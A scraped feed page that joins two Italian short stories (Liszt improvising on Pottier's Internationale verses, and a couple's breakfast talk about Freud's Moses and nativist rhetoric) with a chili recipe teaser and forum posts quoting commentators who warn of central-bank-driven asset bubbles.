Suonava già da un quarto d'ora, e le tortuose armonie della Sonata in si minore si dipanavano con sicurezza sotto le sue dita, come un filo di lana in un labirinto, quando Liszt sentì un suono inconfondibile provenire dalla poltrona del poeta. Liszt portò a termine l'esecuzione della Sonata, poi si alzò dal pianoforte e risistemò delicatamente il poggiatesta imbottito sotto la tempia di Pottier. Quest'ultimo smise di russare, ma non si svegliò. Poi il musicista si chinò a raccogliere il foglio di carta che era caduto dalla tasca di Pottier. Si risedé al pianoforte e lo lesse. Era scritto in versi e iniziava così:

"Debout, les damnés de la terre
Debout, les forçats de la faim!
La raison tonne en son cratère
C'est l'éruption de la fin.
Du passé faisons table rase.
Foules, esclaves, debout, debout!
Le monde va changer de base.
Nous ne sommes rien, soyons tout!"


Il poema andava avanti su questo tono per un'altra decina di strofe. Liszt lo lesse con attenzione. Poi sbuffò forte col naso, mise il foglio da parte e si rimise al piano. Attaccò a suonare una sua composizione che s'intitolava Funérailles. Si interruppe dopo poche battute. Poi, per la prima volta dopo decenni, dalla cassa armonica rintoccarono le possenti note iniziali di Lyon. Ma anche questa esecuzione fu lasciata a metà.

Liszt si prese la faccia tra le mani. Cosa gli stava succedendo?

Infine il musicista sembrò distendersi. Riprese in mano il foglio con la poesia di Pottier e lo pose sul leggìo. Iniziò ad improvvisare. Si udì una melodia piuttosto bella, allo stesso tempo vivace e solenne, in ritmo giambico. (Molto tempo dopo, qualcuno l'avrebbe descritta come una via di mezzo fra Oh, my darling Clementine e La cucaracha).

Subito iniziò a variare. Mentre un ritmo lento, profondo e pauroso rombava nella parte sinistra della tastiera, la melodia si trasformò in un canto popolare slavo che sembrava provenire dall'inizio dei tempi.
Poi il ritmo si fece più veloce, incalzante e sincopato, come di tamburi africani, mentre la melodia, stranamente deformata in semitoni, diede l'allucinante impressione di provenire non più da un pianoforte, ma da una tromba con sordina, o da qualche altro strano strumento a fiato non ancora inventato.

Poi ancora la stessa melodia, resa esile, sottile e tintinnante, si stagliò nelle zone alte della tastiera, sullo sfondo di colpi molto distanziati, come di un gong, che provenivano dalla mano sinistra. Senza soluzione di continuità, questo tintinnio si tramutò nel canto di un muezzin. Poi fu come se, prodigiosamente, tutte queste versioni della stessa identica melodia risuonassero insieme. Pottier, che nel frattempo si era svegliato, non credeva ai propri occhi. Le mani di Liszt si muovevano ad una velocità sovrumana, producendo una fittissima gragnuola di note di ogni altezza, che scemava e poi di nuovo s'intensificava, fino a scoppiare in un'onda di energia di terrificante violenza. Infine, mentre le ultime risonanze dell'esplosione ancora si dissolvevano, la melodia iniziale ritornò piano, semplice ed infantile, lenta, simile ad un carillon che suonasse una ninna-nanna.

La straordinaria esibizione di Liszt aveva intanto richiamato tutta la sua servitù, che si era raccolta ad ascoltare in un piccolo drappello dietro la porta dello studio: erano anni che non lo sentivano suonare a quel modo. Fra di loro, c'era una famigliola composta da una giovane coppia con la loro bambina di tre anni.

"Hai sentito, Sandor?" disse la moglie. "Tu dicevi che il vecchio si era ormai completamente rincitrullito..."

"Sì, Hannah, te lo confermo: il vecchio si è totalmente rimbecillito. Ma per sua fortuna, le mani ce le ha ancora buone. Vieni, Milena!" prese in braccio la sua figlioletta, "ascolta. Un giorno anche tu dovrai suonare così".

Pubblicato il 7 ottobre 2010, qui: http://www.evulon.net/news.php?extend.3549


          Radici        
"Sai" dico, "sono scaduti i diritti d'autore sulle opere di Freud".
E' domenica e sono le nove del mattino. Anna sa che, prima di colazione, non sono in grado di dire nulla che abbia un senso compiuto. Se è di buon umore, mi asseconda nel mio delirio. Oggi è di buon umore.
"Perché?", mi risponde. "Vuoi cominciare a tradurre Freud?"
"Magari. Purtroppo non so il tedesco. No, è per spiegare come mai mi sono alzato così presto. Ieri pomeriggio sono entrato in libreria e ho visto che la Newton Compton ha pubblicato questa edizione economica del saggio di Freud su Mosè..."
"Quello sul Mosè di Michelangelo? Ma non l'avevi già letto?"
"No, non quello sulla statua. E' una monografia proprio su Mosè il personaggio biblico. E' l'ultima grande opera di Freud, pubblicata nel 1938, un anno prima della morte. Non l'avevo ancora letta, perché l'edizione Bollati Boringhieri costa una barbarità e non mi andava di prenderla in prestito in biblioteca. Sai, i libri di Freud sono di quelli che voglio possedere. Comunque niente, ieri l'ho comprato e l'ho finito proprio poco fa. Senza zucchero, il tuo caffellatte, vero?"
"Tre cucchiaini, grazie".
"Mi prendi in giro?"
"Certo. Ma raccontami un po' questo libro, sono curiosa. E' assurdo come l'altro, quello sulla statua di Michelangelo? Quello dove Mosè, di ritorno dal Sinai, vedeva il suo popolo adorare il vitello d'oro, s'incazzava e stava per spezzare le tavole della legge, ma subito si tratteneva, e proprio in quel momento Michelangelo era lì che lo 'fotografava' con lo scalpello, e dietro un cespuglio c'era il professor Freud, col suo taccuino, che analizzava l'intera performance..."
"Dai, non essere così cattiva. Diciamo che, in quel saggio, Freud ha dato una sua interpretazione, un po' audace, di una celebre scultura rinascimentale. Comunque anche W. H. Auden, in una sua poesia, ha scritto che Freud a volte era assurdo e che ciò non diminuisce affatto la sua grandezza".
"Sarà. Intanto neppure il tuo Freud è riuscito a spiegare ad Auden la verità sull'amore".
"Tesoro! La verità sull'amore non la conosce nessuno. Tranne tu ed io, naturalmente".
"Naturalmente. Ma non mi hai ancora detto cos'ha di tanto speciale questo libro, che ti ha buttato giù dal letto poco dopo l'alba".
"E' presto detto. Hai presente Mosè, no? Il patriarca, il fondatore della religione ebraica, il profeta che guidò il suo popolo nell'esodo dall'Egitto verso la Palestina, che ricevette da Dio i dodici comandamenti, eccetera. Bene, Freud sostiene che Mosè, in realtà, non era affatto ebreo. Era egiziano".
"Ma va'?"
"Proprio così. Secondo Freud, Mosè era un nobile, o forse un alto sacerdote egiziano, seguace del dio Aton. Come ricorderai, il faraone Akhenaton aveva tentato di introdurre in Egitto il monoteismo, sostituendo al culto degli dèi la religione dell'unico dio solare Aton. Ma la sua riforma religiosa, molto avanzata per quei tempi, non ebbe fortuna. Quando Akhenaton morì, il politeismo riprese il sopravvento in Egitto. Il clero, che era stato represso ed esautorato da Akhenaton, morto il faraone, si vendicò ferocemente. Fu una reazione terribile: tutte le tracce del culto di Aton furono spazzate via. Persino il nome Aton fu cancellato dai monumenti".
"Sì, mi ricordo. Anche il faraone Tutankh-Aton, il giovane erede di Akhenaton, dovette cambiare nome, riconvertirsi alla vecchia religione e chiamarsi Tutankhamon. E forse neanche questo bastò a salvargli la vita, poverino! Probabilmente lo ammazzarono e lo chiusero nella tomba con quella bellissima maschera funebre tutta d'oro..."
"...quella che abbiamo visto cinque anni fa al museo del Cairo..."
"... durante il nostro viaggio di nozze. A proposito, fra poco è il nostro anniversario, Tato. Dove andiamo a festeggiarlo?"
"Mah, in Egitto ci siamo già stati. Ti porto a Vienna, a visitare la casa di Freud?".
"Anche a Vienna ci sono già stata".
"Ma io no. Comunque, stavo dicendo: Mosè era un fedele del dio Aton. La nuova religione gli piaceva proprio, e non si rassegnò alla restaurazione politeista. Era in contatto con questa popolazione di nomadi, che vivevano nel deserto, ai margini della società egiziana, chiamati Habiru...".
"Gli Ebrei?"
"Proprio loro. Mosè ne fece il suo popolo. Li convertì alla religione monoteista, diede loro nuove leggi, insegnò loro tutto ciò che sapeva, e li condusse con sé nell'esodo fuori dall'Egitto, verso la terra promessa."
"Ciumbia! Sembra una puntata di Voyager. Quali altre sensazionali rivelazioni ci sono, nel tuo libro? Nel senso: Mosè era egiziano, e poi? Shakespeare era siciliano? Le sinfonie di Mozart le ha scritte un veneto? Atlantide altro non era che la Sardegna? E qualcosa sul Graal? Non dirmi che non c'è niente sul Graal. Cioè, scusa, Tato, ma è una teoria un po' delirante..."
"Sshh! Se ridi così forte, svegli la bambina. Sì, hai ragione, è delirante. Proprio in ciò consiste la genialità di Freud. Lui ragionava come i suoi pazienti. Altrimenti non sarebbe mai riuscito a guarirli, no? Tramite lui, la Follia torna a parlare, dopo tre secoli di censura... E lascia perdere Voyager: non c'entra niente. Freud credeva in ciò che diceva, e non gli interessava fare audience".
"Boh. Ma li guariva, i suoi pazienti?"
"Certo che li guariva! Guarda, mi hai fatto talmente arrabbiare che mi sono mangiato tutti i pistokeddos".
"I savoiardi di Atlantide? Ma se te ne mangi un'intera confezione ogni mattina. Sei forte, Tato. Però spiegami una cosa. Allora, siamo nel 1938. Mezza Europa è sotto dittature fasciste, Hitler sta per annettersi l'Austria, lo stesso Freud deve scappare a Londra per sfuggire alla persecuzione, e in questa situazione tragica per il suo popolo, il professore non trova di meglio che pubblicare un libro dove sostiene che il fondatore dell'ebraismo non era ebreo? A me pare una mezza vigliaccata, non capisco come fai a parlarne con tutto questo entusiasmo".
"Ma caspita, Anna, è proprio questo il punto! Senti: chi ha vinto le ultime elezioni?"
"Non capisco cosa c'entra".
"Come, che c'entra? Ma lo senti, quello che dicono? 'Padroni a casa nostra. Ognuno a casa sua. Il Suolo. Il Sangue. La Razza. Le Tradizioni. Le Radici. Il Territorio. Radicarsi nel Territorio'... Dio, quanto ce la menano co' 'sta storia del territorio! Tutti a ribadire come un disco rotto che bisogna Radicarsi nel Territorio, come se non fossimo esseri umani, ma olmi, o platani, o che so io. E come se non fossero stati proprio loro a devastarlo e distruggerlo, 'sto cazzo di territorio, da quarant'anni in qua, a furia di capannoni e svincoli e tangenziali e inceneritori e ripetitori, centri commerciali e colate immonde di cemento, fabbriche aperte e poi chiuse, e sempre zero solidarietà, zero giustizia, zero cultura, zero arte e zero umanità... Talmente spaventati e abbrutiti e rimbecilliti da questo schifo che loro stessi hanno prodotto, da non saper fare altro che cercare spasmodicamente qualche capro espiatorio, cui far scontare tutta la loro bile e la loro frustrazione... E prima i meridionali, e poi i tossici, e poi gli albanesi, e ora gli islamici..."
"Adesso sei tu che rischi di svegliare la bambina".
"Sì. Scusami. Preparo un altro caffè. O preferisci un po' di spremuta d'arancia?"
"Spremuta, grazie. Quando parli di quelli là, mi sembri tuo padre".
"Che cosa brutta che hai detto..."
"Perché? Mi sta simpatico, tuo padre. Ma non mi hai ancora spiegato cosa c'entra tutto questo con Freud".
"Niente, tranne il fatto che tutta quella ripugnante retorica del Sangue e del Suolo era esattamente la stessa di cui si riempivano la bocca gli antisemiti al tempo di Freud. Sai cosa dicevano? Questo, dicevano: che ogni razza ha un proprio suolo d'origine, a cui è legata da un vincolo spirituale e mistico; che la qualità del suolo determina la qualità della razza; che gli ebrei non hanno patria, non hanno territorio e quindi non hanno dignità, sono nomadi e sbandati, vivono da parassiti degli altri popoli, eccetera eccetera."
"Beh, oggi gli ebrei ce l'hanno, il loro Stato".
"E infatti i razzisti di oggigiorno non se la prendono più tanto con gli ebrei (almeno per ora), quanto soprattutto con gli zingari e con i migranti. Ma gli argomenti sono più o meno gli stessi. Ed è contro questi argomenti che Freud mette in campo il suo Mosè. Considera questo: gli dèi che le popolazioni del Medio Oriente veneravano, a quell'epoca, erano divinità nazionali; ogni popolo aveva le sue, e queste facevano tutt'uno con il loro territorio. Erano divinità guerriere, rozze, sanguinarie, che accompagnavano ciascun popolo nella sua lotta per la supremazia sugli altri popoli."
"Ma era proprio così o lo dice Freud?"
"Non lo so. Non m'intendo di storia delle religioni. Comunque, Freud sostiene che il dio di Akhenaton e di Mosè era un dio molto diverso dagli altri dèi suoi contemporanei. Era un dio illuminista, per così dire. Anzi, quasi kantiano. Pacifista. Un dio universalista: non gli importava la nazionalità dei suoi fedeli. Non gliene fregava niente di cerimonie, riti, preghiere, statue o amuleti. Non pretendeva templi dove essere adorato, né una casta di sacerdoti per servirlo. Nemmeno prometteva alcuna vita dopo la morte. A questo dio, importava solo una cosa: che ci si comportasse bene. Che si vivesse una vita secondo ragione, verità e giustizia. Tutto qui. E' questa, secondo Freud, l'essenza del monoteismo ebraico: solo una personificazione della Ragione e della legge morale. L'aspetto etnico o nazionale o 'razziale' è così poco importante, nella concezione freudiana del monoteismo, che lo stesso fondatore dell'ebraismo non è ebreo. E allora il paradosso è che, con questo libro, l'ateo, scientista e razionalista Freud ha reso alla religione e alla cultura dei suoi padri l'omaggio più elevato che per lui fosse concepibile..."
"Bello. Ma è tutta una contraddizione. Prima non hai detto che tramite Freud la follia trova finalmente voce? Adesso te ne esci con questo panegirico della Ragione illuminista. Poi, scusa Tato, ma mi sembra tutta una diatriba tra maschi. Il dio di Freud, così ragionevole e tollerante, contro i rozzi e violenti dèi guerrieri delle mitologie pagane, va bene. Però le dee? La Grande Madre Mediterranea, per esempio, che fine ha fatto? E Iside? E poi, non capisco questa cosa dell'iconoclastia: cosa avete contro le cerimonie, i riti, e anche contro la magia, le statue e gli amuleti? Non so, sarà anche una bella cosa, questo famoso monoteismo, un grande progresso, non discuto, ma non so perché mi fa venire in mente la caccia alle streghe... Vado a svegliare la bambina, vah! Ché se no si fa tardi".
"No! Aspetta un minuto".

Pubblicato il 7 maggio 2010, qui: http://www.evulon.net/news.php?extend.3368
          Smoky Lentil Chili and A Hot Dog Toppings Bar        

Smoky Lentil Chili and A Hot Dog Toppings Bar – this tasty chili recipe is a year round favorite, and is a great addition to a summertime BBQ!   July is National Hot Dog Month. I mean, summer is hot dogs, right? At baseball games, an ice cold beer and a hot dog are required,...

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The post Smoky Lentil Chili and A Hot Dog Toppings Bar appeared first on spabettie.


          'Central banks’ seriously misguided attempts to defeat routine consumer price deflation is what fuels the destructive asset bubbles that eventually collapse.' (no replies)        
'..America's pension crisis is a big part of the $400 trillion pension time bomb threatening the global economy and it is deflationary and bond friendly.'

- Leo Kolivakis, America's Corporate Pension Disaster? August 4, 2017


'In order for the Maestro to be right, US inflation expectations have to pick up in a significant way. This won't happen and to understand why, read Gary Shilling's recent comment on three things central bankers don't get about wages.'

- Leo Kolivakis, Is the Maestro Wrong on Bonds? August 2, 2017


'Very recent data confirms slumping household saving ratios in both the US and UK. This was last seen in 2007, just before the bursting debt bubble blew the global economy and financial system to smithereens. The Fed and BoE should surely hang their heads in shame having presided over yet another impending disaster. Why will politicians and the people tolerate this incompetence? Indeed they won’t.'

- Albert (Shades of 2008: UK and US Savings Rate Plunges, Debt Comes Full Circle, August 3, 2017)


'It’s no mystery why central bankers are mystified: Collectively, they are economically illiterate fools engaged in Keynesian and Monetarist group think.

..

On deck is another round of destructive asset price deflation, brought about by Central banks who cannot see the obvious.'

- Mike “Mish” Shedlock, Central Banks Puzzled as Global Inflation Hits Lowest Level Since 2009: Solving the Puzzle, August 3, 2017


'..history and logic both show that concerns over consumer price deflation are seriously misplaced.

Worse yet, in their attempts to fight routine consumer price deflation, central bankers create very destructive asset bubbles that eventually collapse, setting off what they should fear – asset bubble deflations following a buildup of bank credit on inflated assets.'

- Mike “Mish” Shedlock, Historical Perspective on CPI Deflations: How Damaging are They? March 30, 2015


'BIS Deflation Study

The BIS did a historical study and found routine deflation was not any problem at all.

“Deflation may actually boost output. Lower prices increase real incomes and wealth. And they may also make export goods more competitive,” stated the study.

It’s asset bubble deflation that is damaging. When asset bubbles burst, debt deflation results.

Central banks’ seriously misguided attempts to defeat routine consumer price deflation is what fuels the destructive asset bubbles that eventually collapse.'

- Mike “Mish” Shedlock, How Twisted Minds Function, August 2, 2017


Context

'..If you can’t see this next crisis coming, you’re not paying the right kind of attention .. Financial politicians..'

'..the Next 30 Years: “Everything is Deflationary”..'

'..a 30-year bear market..'

          '..If you can’t see this next crisis coming, you’re not paying the right kind of attention .. Financial politicians..' (no replies)        
'..If you can’t see this next crisis coming, you’re not paying the right kind of attention..'

'This Fed has already engineered the next crisis, just as Greenspan kept rates too low for too long, ignored his regulatory responsibility, and engineered the housing bubble and subprime crisis. If you can’t see this next crisis coming, you’re not paying the right kind of attention. The Trump Fed is going to have to deal with that crisis, but we still have many questions as to what a Trump Fed will actually look like or do.'

John Mauldin (Source, Jun 25, 2017)


'..Their empathy circuits get turned off.'

'Powerful people everywhere routinely make decisions that hurt others. We see it in central bankers, politicians, corporate CEOs, religious groups, universities – any large organization. The old saying is right: Power really does corrupt. And corruption is a barrier to sustainable economic growth. This is more than a political problem; it has a serious economic impact.

Recent psychological research suggests that powerful people behave remarkably like traumatic brain injury victims. Controlled experiments show that, given power over others, people often become impulsive and less sensitive to risk. Most important, test subjects often lose empathy, that is, the ability to understand and share the feelings of others.

..

Powerful people also lose a capacity called “mirroring.” When we observe other people doing something, our brains react as if we were doing the same thing. It’s why, when you watch a sporting event, you may unconsciously mimic a golf swing or the referee’s hand signals. Some portion of your brain thinks you are really there. But when researchers prime test subjects with powerful feelings, their mirroring capacity decreases.

You can see why this is a problem. The Protected-class members of the Federal Open Market Committee must feel quite powerful when they gather in that fancy room to make policy decisions. It’s no wonder they forget how their decisions will affect regular working-class people: Their empathy circuits get turned off.'

- Patrick Watson, The Wedge Goes Deeper, June 30, 2017


'..I now feel that it's highly likely we will face a major financial crisis, if not later this year, then by the end of 2018 at the latest..'

'Re-entering the news flow was a jolt, and not in a good way. Looking with fresh eyes at the economic numbers and central bankers’ statements convinced me that we will soon be in deep trouble. I now feel that it's highly likely we will face a major financial crisis, if not later this year, then by the end of 2018 at the latest. Just a few months ago, I thought we could avoid a crisis and muddle through. Now I think we’re past that point. The key decision-makers have (1) done nothing, (2) done the wrong thing, or (3) done the right thing too late.

Having realized this, I’m adjusting my research efforts. I believe a major crisis is coming. The questions now are, how severe will it be, and how will we get through it? With the election of President Trump and a Republican Congress, your naïve analyst was hopeful that we would get significant tax reform, in addition to reform of a healthcare system that is simply devastating to so many people and small businesses. I thought maybe we’d see this administration cutting through some bureaucratic red tape quickly. With such reforms in mind I was hopeful we could avoid a recession even if a crisis developed in China or Europe.

..

One news item I didn’t miss on St. Thomas – and rather wish I had – was Janet Yellen’s reassurance regarding the likelihood of another financial crisis. Here is the full quote.

Would I say there will never, ever be another financial crisis? You know probably that would be going too far, but I do think we’re much safer, and I hope that it will not be in our lifetimes and I don’t believe it will be. [emphasis added]

I disagree with almost every word in those two sentences, but my belief is less important than Chair Yellen’s. If she really believes this, then she is oblivious to major instabilities that still riddle the financial system. That’s not good.

..

Financial politicians (which is what central bankers really are) have a long history of saying the wrong things at the wrong time. Far worse, they simply fail to tell the truth. Former Eurogroup leader Jean-Claude Juncker admitted as much: “When it becomes serious, you have to lie,” he said in the throes of Europe’s 2011 debt crisis.'

- John Mauldin, Prepare for Turbulence, July 9, 2017


'..Market distortions – including valuations, deeply embedded complacency, and Trillions of perceived safe securities – have become only further detached from reality. And the longer all this unstable finance flows freely into the real economy, the deeper the structural maladjustment.'

'This week marks the five-year anniversary of Draghi’s “whatever it takes.” I remember the summer of 2012 as if it were yesterday. From the Bubble analysis perspective, it was a Critical Juncture – for financial markets and risk perceptions, for policy and for the global economy. Italian 10-year yields hit 6.60% on July 24, 2012. On that same day, Spain saw yields surge to 7.62%. Italian banks were in freefall, while European bank stocks (STOXX600) were rapidly approaching 2009 lows. Having risen above 55 in 2011, Deutsche Bank traded at 23.23 on July 25, 2012.

It was my view at the time that the “European” crisis posed a clear and immediate threat to the global financial system. A crisis of confidence in Italian debt (and Spanish and “periphery” debt) risked a crisis of confidence in European banks – and a loss of confidence in European finance risked dismantling the euro monetary regime.

Derivatives markets were in the crosshairs back in 2012. A crisis of confidence in European debt and the euro would surely have tested the derivatives marketplace to the limits. Moreover, with the big European banks having evolved into dominant players in derivatives trading (taking share from U.S. counterparts after the mortgage crisis), counter-party issues were at the brink of becoming a serious global market problem. It’s as well worth mentioning that European banks were major providers of finance for emerging markets.

From the global government finance Bubble perspective, Draghi’s “whatever it takes” was a seminal development. The Bernanke Fed employed QE measures during the 2008 financial crisis to accommodate deleveraging and stabilize dislocated markets. Mario Draghi leapfrogged (helicopter) Bernanke, turning to open-ended QE and other extreme measures to preserve euro monetary integration. No longer would QE be viewed as a temporary crisis management tool. And just completely disregard traditional monetary axiom that central banks should operate as lender of last resort in the event of temporary illiquidity – but must avoid propping up the insolvent. “Whatever it takes” advocates covert bailouts for whomever and whatever a small group of central bankers chooses – illiquid, insolvent, irredeemable or otherwise. Now five years after the first utterance of “whatever it takes,” the Draghi ECB is still pumping out enormous amounts of “money” on a monthly basis (buying sovereigns and corporates) with rates near zero.

..

Thinking back five years, U.S. markets at the time were incredibly complacent. The risk of crisis in Europe was downplayed: Policymakers had it all under control. Sometime later, the Financial Times - in a fascinating behind-the-scenes exposé - confirmed the gravity of the situation and how frazzled European leaders were at the brink of losing control. Yet central bankers, once again, saved the day – further solidifying their superhero status.

I’m convinced five years of “whatever it takes” took the global government finance Bubble deeper into perilous uncharted territory. Certainly, markets are more complacent than ever, believing central bankers are fully committed to prolonging indefinitely the securities bull market. Meanwhile, leverage, speculative excess and trend-following flows have had an additional five years to accumulate. Market distortions – including valuations, deeply embedded complacency, and Trillions of perceived safe securities – have become only further detached from reality. And the longer all this unstable finance flows freely into the real economy, the deeper the structural maladjustment.'

- Doug Noland, Five Years of Whatever It Takes, July 29, 2017


'..This whole episode is likely to end so badly that future children will learn about it in school and shake their heads in wonder at the rank stupidity of it all, just like many of us did when we learned about the Dutch Tulip mania.'

'While I've written about numerous valuation measures over time, the most reliable ones share a common feature: they focus on identifying "sufficient statistics" for the very, very long-term stream of cash flows that stocks can be expected to deliver into the hands of investors over time. On that front, revenues are typically more robust "sufficient statistics" than current or year-ahead earnings. See Exhaustion Gaps and the Fear of Missing Out for a table showing the relative reliability of a variety of measures. In April 2007, I estimated that an appropriate valuation for the S&P 500 stood about 850, roughly -40% lower than prevailing levels. By the October peak, the prospective market loss to normal valuation had increased to about -46%. As it happened, the subsequent collapse of the housing bubble took the S&P 500 about -55% lower. In late-October 2008, as the market plunge crossed below historically reliable valuation norms, I observed that the S&P 500 had become undervalued on our measures.

Again attempting to “stimulate” the economy from the recession that followed, the Federal Reserve cut short-term interest rates to zero in recent years, provoking yet another episode of yield-seeking speculation, where yield-starved investors created demand for virtually every class of securities, in the hope of achieving returns in excess of zero. Meanwhile, Wall Street, suffering from what J.K. Galbraith once called the “extreme brevity of the financial memory,” convinced itself yet again that the whole episode was built on something more solid than quotes on a screen and blotches of ink on paper..

..

..greater real economic activity was never the likely outcome of all this quantitative easing (indeed, one can show that the path of the economy since the crisis has not been materially different than what one could have projected using wholly non-monetary variables). Rather, Ben Bernanke, in his self-appointed role as Mad Hatter, was convinced that offensively hypervalued financial markets - that encourage the speculative misallocation of capital, imply dismal expected future returns, and create temporary paper profits that ultimately collapse - somehow represent a greater and more desirable form of “wealth” compared with reasonably-valued financial markets that offer attractive expected returns and help to soundly allocate capital. Believing that wealth is embodied by the price of a security rather than its future stream of cash flows, QE has created a world of hypervaluation, zero prospective future returns, and massive downside risks across nearly every conventional asset class.

And so, the Fed created such an enormous pool of zero interest bank reserves that investors would feel pressure to chase stocks, junk debt, anything to get rid of these yield-free hot potatoes. That didn’t stimulate more real, productive investment; it just created more investors who were frustrated with zero returns, because someone had to hold that base money, and in aggregate, all of them had to hold over $4 trillion of the stuff at every moment in time.

When you look objectively at what the Fed actually did, should be obvious how its actions encouraged this bubble. Every time someone would get rid of zero-interest base money by buying a riskier security, the seller would get the base money, and the cycle would continue until every asset was priced to deliver future returns near zero. We’re now at the point where junk yields are among the lowest in history, stock market valuations are so extreme that we estimate zero or negative S&P 500 average annual nominal total returns over the coming 10-12 year horizon, and our estimate of 12-year prospective total returns on a conventional mix of 60% stocks, 30% Treasury bonds, and 10% Treasury bills has never been lower (about 1% annually here). This whole episode is likely to end so badly that future children will learn about it in school and shake their heads in wonder at the rank stupidity of it all, just like many of us did when we learned about the Dutch Tulip mania.

Examine all risk exposures, consider your investment horizon and risk-tolerance carefully, commit to the flexibility toward greater market exposure at points where a material retreat in valuations is joined by early improvement in market action (even if the news happens to be very negative at that point), fasten your protective gear, and expect a little bit of whiplash. Remember that the “catalysts” often become evident after prices move, not before. The completion of this market cycle may or may not be immediate, but with the median stock at easily the most extreme price/revenue ratio in history, and a run-of-the-mill outcome now being market loss on the order of -60%, the contrast between recent stability and likely future volatility could hardly be more striking.'

- John P. Hussman, Ph.D., Hot Potatoes and Dutch Tulips, July 31, 2017


Context

(2017) - '..a deeply systemic debt crisis akin to the aftermath of 1929 .. the stage has now been set..'

(Banking Reform - Monetary Reform) - '..debt is our biggest security threat..'

'..the Next 30 Years: “Everything is Deflationary”..'

          (Bazaarmodel - To Heal - Teal) Dream - Semco Style (no replies)        
Those who make dreams come true get noticed

- Aldowa (A Semco Style Company)

'Leading Wisely is a podcast series by Ricardo Semler about the search for wisdom in organizations. In discussions with business leaders such as Zappos' Tony Hsieh, Basecamp's Jason Friedman and David Heinemeier Hansson and with other experts on the topic such as Frederic Laloux, he challenges assumptions and explores how we can change the way we live and work.

- Killing the dinosaur business model, 2017

'In France, almost every couple of days a company or public sector organization is entering corporate liberation. How about US? Here is one more example on how a company’s leader decided to liberate his company.

Ricardo Semler’s book served as an inspiration. Add to that a deep conviction and a lot of common sense.'

- Freedom Inc, '..corporate liberation.' June 6, 2017


Context (Leaders)

'..I believe in responsibility but not in pyramidal hierarchy .. the negative value of structure. Structure creates hierarchy, and hierarchy creates constraint..'

(Bazaarmodel - To Heal - Teal) - 'Your physical .. cultural .. soul heredity..'

(To Heal - Teal - Bazaarmodel) - Striving for wholeness '..We have let our busy egos trump the quiet voice of our soul; many cultures often celebrate the mind and neglect the body..'


'I, too, have a pet little evil, to which in more passionate moments I am apt to attribute all the others. This evil is the neglect of thinking. And when I say thinking I mean real thinking, independent thinking, hard thinking.'

- Learning How to Think (Economics - '..acts of choice.' (‘..imagination of alternatives..’))


(Open Source) - '..“open innovation.” Companies such as AstraZeneca, Lilly, GSK, Janssen, Merck, Pfizer, Sanofi, TransCelerate, and others..'

(Haptopraxeology) - '..the senses were the windows of the soul and that reason had a divine right to feed upon fact..'

(To Heal) - Overview of Focus Levels '..to areas of greater free will choice.'


'..to rethink and to rebuild a culture where there are open channels between feeling and understanding..'

(Praxeology) - '..his or her subjective values .. to explain all economic phenomena as the results of what people do..'

'Reinventing Organizations: ..radically more soulful, purposeful and powerful ways to structure and run .. organizations.'


(To Heal)(Management innovation) - '..Teal Organizations to start healing the world..'

(Haptopraxeology) - Students of Civilization

          '..the amount of leverage and excess that has accumulated in bond and Credit markets..' (no replies)        
'..the amount of leverage and excess that has accumulated in bond and Credit markets over the past eight years of extreme monetary stimulus.'

'The Fed is not blind. They monitor stock prices and corporate debt issuance; they see residential and commercial real estate market values. Years of ultra-low rates have inflated Bubbles throughout commercial real estate – anything providing a yield – in excess of those going into 2008. Upper-end residential prices are significantly stretched across the country, also surpassing 2007. They see Silicon Valley and a Tech Bubble 2.0, with myriad excesses that in many respects put 1999 to shame. I’ll assume that the Fed is concerned with the amount of leverage and excess that has accumulated in bond and Credit markets over the past eight years of extreme monetary stimulus.

..

The Fed collapsed fed funds from 6.50% in December 2000 to an extraordinarily low 1.75% by the end of 2001. In the face of an escalating corporate debt crisis, the Fed took the unusual step of cutting rates another 50 bps in November 2002. Alarmingly, corporate Credit was failing to respond to traditional monetary policy measures (despite being aggressively applied). Ford in particular faced severe funding issues, though the entire corporate debt market was confronting liquidity issues. Recall that the S&P500 dropped 23.4% in 2002. The small caps lost 21.6%. The Nasdaq 100 (NDX) sank 37.6%, falling to 795 (having collapsed from a March 2000 high of 4,816). No financial instability?

..

I revisit history in an attempt at distinguishing reality from misperceptions. Of course the Fed will generally dismiss the consequences of Bubbles. They’re not going to aggressively embark on reflationary policies while espousing the dangers of asset price and speculative Bubbles. Instead, they have painted the “housing Bubble” as some egregious debt mountain aberration. And paraphrasing Kashkari, since today’s stock market has nowhere as much debt as housing had in 2007, there’s little to worry about from a crisis and financial instability perspective.

Well, if only that were the case. Debt is a critical issue, and there’s a whole lot more of it than back in 2008. Yet when it comes to fragility and financial crises, market misperceptions and distortions play fundamental roles. And there’s a reason why each bursting Bubble and resulting policy-induced reflation ensures a more precarious Bubble: Not only does the amount of debt continue to inflate, each increasingly intrusive policy response elicits a greater distorting impact on market perceptions.

I doubt Fed governor Bernanke actually anticipated that the Fed would have to resort to “helicopter money” and the “government printing press” when he introduced such extreme measures in his 2002 speeches. Yet seeing that the Fed was willing to push its monetary experiment in such a radical direction played a momentous role in reversing the 2002 corporate debt crisis, in the process stoking the fledgling mortgage finance Bubble. And the Bernanke Fed surely thought at the time that doubling its balance sheet during the 2008/09 crisis was a one-time response to a once-in-a-lifetime financial dislocation. I’ll assume they were sincere with their 2011 “exit strategy,” yet only a few short years later they’d again double the size of their holdings.

..

Despite assertions to the contrary, the bursting of the “tech” Bubble unleashed significant financial instability. To orchestrate reflation, the Fed marshaled a major rate collapse, which worked to stoke already robust mortgage Credit growth. The collapse in telecom debt, an unwind of market-based speculative leverage and the rapid slowdown in corporate borrowings was over time more than offset by a rapid expansion in housing debt and the enormous growth in mortgage-related speculative leverage (MBS, ABS, derivatives).

..

I’ve never felt comfortable that Chinese authorities appreciate the types of risks that have been mounting beneath the surface of their massively expanding Credit system. Global markets seemed attentive a year ago, but have since been swept away by the notion of the all-powerful “China put” conjoining with the steadfast “Fed put.” These types of market perceptions create tremendous inherent fragility.'

- Doug Noland, Discussions on the Fed Put, March 25, 2017


'It’s now an all-too-familiar Bubble Dynamic. The greater the Bubble inflates, the more impervious it becomes to cautious “tightening” measures..'

'The problem today is that years of ultra-loose monetary conditions have ensured everyone is crowded on the same bullish side of the boat. Tipping the vessel at this point will be chaotic, and the Fed clearly doesn’t want to be the instigator. Meanwhile, timid little baby-step increases only ensure more problematic market Bubbles and general financial excess.

